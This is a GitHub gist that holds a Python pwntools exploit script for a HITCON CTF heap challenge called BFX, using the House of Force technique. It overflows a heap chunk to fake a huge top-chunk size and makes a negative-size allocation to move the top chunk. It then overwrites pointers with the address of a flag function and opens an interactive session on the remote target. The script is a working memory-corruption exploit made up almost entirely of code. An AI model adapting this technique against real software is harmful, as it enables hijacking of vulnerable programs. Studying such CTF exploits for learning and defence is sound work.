Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created May 11, 2018 16:14
Show Gist options
  • Save 0xPwny/e3d4f2093f0f4adad67a52ec5ceb66d6 to your computer and use it in GitHub Desktop.
Save 0xPwny/e3d4f2093f0f4adad67a52ec5ceb66d6 to your computer and use it in GitHub Desktop.
HITCON BFX - House Of Force
from pwn import *
import sys
###################################
# HITCON CTF - BFX HEAP - HOUSE OF FORCE
###################################
r = remote(sys.argv[1],int(sys.argv[2]))
pause()
flag = 0x400de9
def show():
r.recvuntil(":")
r.sendline("1")
r.recvuntil("choice:")
def add(size,data):
r.recvuntil("choice:")
r.sendline("2")
r.recvuntil(":")
r.send(str(size))
r.recvuntil(":")
r.sendline(data)
def edit(idx,size,data):
r.recvuntil("choice:")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(data)
def free(idx):
r.recvuntil("choice:")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
add(0x60,"A"*0x60)
pld = "A"*0x60
pld += p64(0)
pld += p64(0xFFFFFFFFFFFFFFFF) #FAKE TOP SIZE
edit(0,(0x60+16),pld)
#add(-(0x4a0+16),"PWNY") #in local
add(-0xa0,"PWNY") #in Remote
pld = p64(flag)*2
add(0x20,pld)
r.sendline("5")
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment